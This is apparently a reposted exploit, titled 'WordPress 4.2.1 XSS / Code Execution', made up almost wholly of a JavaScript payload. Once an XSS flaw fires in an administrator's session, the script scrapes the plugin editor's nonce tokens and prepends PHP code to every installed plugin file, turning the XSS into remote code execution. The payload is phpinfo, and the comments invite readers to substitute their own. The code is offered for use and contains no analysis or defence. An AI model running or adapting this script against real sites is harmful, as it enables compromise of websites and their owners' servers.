WordPress 4.2.1 XSS / Code Execution

[kp112]

Exploit that uses a WordPress cross site scripting flaw to execute code as the administrator.

/*
Author: @evex_1337
Title: Wordpress XSS to RCE
Description: This Exploit Uses XSS Vulnerabilities in Wordpress
Plugins/Themes/Core To End Up Executing Code After The Being Triggered With
Administrator Previliged User. ¯\_(?)_/¯
Reference: [url]http://research.evex.pw/?vuln=14[/url]
Enjoy.

*/
//Installed Plugins Page
plugins = (window.location['href'].indexOf('/wp-admin/') != - 1) ?
'plugins.php' : 'wp-admin/plugins.php';
//Inject "XSS" Div
jQuery('body').append('<div id="xss" ></div>');
xss_div = jQuery('#xss');
xss_div.hide();
//Get Installed Plugins Page Source and Append it to "XSS" Div
jQuery.ajax({
  url: plugins,
  type: 'GET',
  async: false,
  cache: false,
  timeout: 30000,
  success: function (txt) {
    xss_div.html(txt);
  }
});
//Put All Plugins Edit URL in Array
plugins_edit = [
];
xss_div.find('a').each(function () {
  if (jQuery(this).attr('href').indexOf('?file=') != - 1) {
    plugins_edit.push(jQuery(this).attr('href'));
  }
});
//Inject Payload
for (var i = 0; i < plugins_edit.length; i++) {
  jQuery.ajax({
    url: plugins_edit[i],
    type: 'GET',
    async: false,
    cache: false,
    timeout: 30000,
    success: function (txt) {
      xss_div.html(txt);
      _wpnonce =
jQuery('form#template').context.body.innerHTML.match('name="_wpnonce"
value="(.*?)"') [1];
      old_code = jQuery('form#template div textarea#newcontent') [0].value;
      payload = '<?php phpinfo(); ?>';
      new_code = payload + '\n' + old_code;
      file = plugins_edit[i].split('file=') [1];
      jQuery.ajax({
        url: plugins_edit[i],
        type: 'POST',
        data: {
          '_wpnonce': _wpnonce,
          'newcontent': new_code,
          'action': 'update',
          'file': file,
          'submit': 'Update File'
        },
        async: false,
        cache: false,
        timeout: 30000,
        success: function (txt) {
          xss_div.html(txt);
          if (jQuery('form#template div textarea#newcontent')
[0].value.indexOf(payload) != - 1) {
            // Passed, this is up to you ( skiddies Filter  )
            injected_file = window.location.href.split('wp-admin') [0] +
'/wp-content/plugins/' + file; //
[url]http://localhost/wp//wp-content/plugins/504-redirects/redirects.php[/url]
            throw new Error('');
          }
        }
      });
    }
  });
}

Source : WordPress 4.2.1 XSS / Code Execution